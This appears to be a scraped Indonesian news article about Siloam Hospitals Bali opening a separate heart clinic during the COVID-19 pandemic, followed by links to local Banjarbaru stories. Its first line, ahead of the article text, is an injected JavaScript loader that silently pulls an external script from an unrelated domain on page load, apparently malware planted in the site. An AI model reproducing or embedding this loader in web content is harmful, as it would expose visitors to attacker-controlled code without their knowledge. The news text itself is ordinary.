(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Penyakit jantung masih menjadi salah satu penyakit dengan beban kesehatan tertinggi di Indonesia. Setiap tahunnya, mereka yang mengalami penyakit jantung sendiri terus bertambah.
Data dari Riset Kesehatan Dasar (Riskesdas) 2018 menyebutkan bahwa setidaknya 15 dari 1.000 orang individu di Indonesia menderita penyakit jantung atau kardiovaskular di Indonesia.
Bentuk gangguan bermacam-macam, misalnya berupa gangguan pada pembuluh darah jantung, katup jantung, atau otot jantung. Penyakit jantung juga dapat disebabkan oleh infeksi atau kelainan lahir.
Maka dari itu kenyamanan dan keamanan pasien dengan penyakit jantung sangat menjadi prioritas bagi pelayanan di setiap rumah sakit. Hal itu yang menjadi dasar Rumah Sakit Siloam Bali kini telah membuka klinik khusus pasien jantung.
Baca juga : Tentara Swiss Dilarang Pakai WhatsApp, Telegram, dan Signal, Kenapa?
Dalam keterangannya, Direktur Siloam Hospitals Bali, dr. Dewa Ketut Oka mengatakan, sebenarnya pihaknya sudah memiliki poliklinik jantung. Meski demikian pembukaan penambahan layanan poliklinik khusus pasien jantung jantung guna mengurangi antrean pasien.
“Sebenarnya kita sudah memiliki poliklinik jantung di lantai tiga, ada tiga ruangan poliklinik kemudian di bawah di tempat MCU ada dua ruangan poliklinik untuk dua dokter yang praktek di sana. Sering sekali terjadi bahwa yang di bawah itu terlalu banyak pasien, kekurangan tempat duduk dan physical distancing tidak bisa kita atur karena itu gabung antara medical check-up dengan pelayanan jantung. Nah itu yang kita jadi pemikiran sehingga ini harus dipisahkan dan menjadi tempat poliklinik Jantung,” ungkapnya pada, Jumat 7 Januari 2022.
Seperti diketahui, selama masa pandemi sekarang ini, orang dengan komorbid terutama penyakit kardiovaskular memiliki risiko yang sangat tinggi apabila terpapar COVID-19. Kondisi itu dikhawatirkan dapat menyebabkan perburukan bahkan kematian.
Hal ini terlihat dari data di RS, yang menunjukkan bahwa tingkat perawatan di RS dan angka kematian pasien COVID-19 dengan komorbid juga meningkat selama pandemi.
Baca juga : Shalika Aurelia, Pesepakbola Wanita Pertama Indonesia di Klub Eropa
Kondisi tersebut juga yang membuat , dr. Dewa Ketut Oka berusaha untuk meningkatkan pelayanan bagi masyarakat. Klinik jantung Rumah Sakit Siloam Bali terletak di lantai 2 area Lippo Plaza Sunset Mall, Terdiri dari 2 ruang pemeriksaan serta alat penunjang diagnosa terbaik seperti Treadmill, Echo, dan ECG.
Direktur Siloam Hospitals Bali, dr. Dewa Ketut Oka mengatakan, pelayanan Klinik Jantung yang disediakan oleh Rumah Sakit Siloam Bali meliputi semua tipe pasien, baik pasien umum, pasien asuransi yang meliputi asuransi pemerintah maupun swasta. (Suara.com)
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.